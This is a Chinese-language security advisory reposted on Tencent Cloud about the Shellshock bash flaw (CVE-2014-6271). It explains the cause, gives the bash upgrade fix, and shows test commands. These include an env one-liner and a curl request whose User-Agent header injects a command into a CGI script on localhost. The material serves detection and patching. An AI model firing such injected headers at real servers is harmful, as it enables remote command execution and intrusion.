前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安恒信息提示漏洞:CVE-2014-6271 bash远程命令执行漏洞

安恒信息提示漏洞:CVE-2014-6271 bash远程命令执行漏洞

作者头像
安恒信息
发布2018-04-10 15:15:29
9930
发布2018-04-10 15:15:29
举报
文章被收录于专栏:安恒信息安恒信息
今日爆出CVE-2014-6271 bash远程命令执行漏洞。bash是Linux用户广泛使用的一款用于控制命令提示符工具,导致该漏洞影响范围甚广。同时,当HTTP服务开放CGI服务或其他地方引用bash时可直接导致远程命令执行漏洞。主要影响系统为ubuntu centos debian suse readhat等主流linux操作系统。漏洞危害主要表现在:影响基于bash开放的服务、程序。当网站利用CGI执行bash后可导致攻击者远程执行系统命令,从而可以利用系统命令反弹shell之后进行内网渗透、挂马、篡改主页、脱库等行为。

我们建议修复方式:升级bash,升级命令为:

sudo apt-get update && sudo apt-get install --only-upgrade bash

漏洞分析:

Bash(Bourne Again SHell)中ENV指令

1. ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了黑客进行PATH Hajaking的可能性

2. ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能

ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入

1. httpd

1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源

2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash

攻击者可以通过开启了CGI的httpd服务器进行远程代码执行

测试方法:

本地测试

root@kali:~# env x='() { :;}; echo dbapp' bash -c "echo this is a test"

dbapp

this is a test

如果出现这个结果,则说明本机的bash存在漏洞

httpd远程命令执行测试

[root@host cgi-bin]# rm -fr /tmp/aa

[root@host cgi-bin]# cat /var/www/cgi-bin/hi

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo "dbapp"

[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi

dbapp

[root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log

::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"

[root@host cgi-bin]# ls -l /tmp/aa

-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa

[root@host cgi-bin]# sestatus

SELinux status: enabled

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2014-09-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安恒信息 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档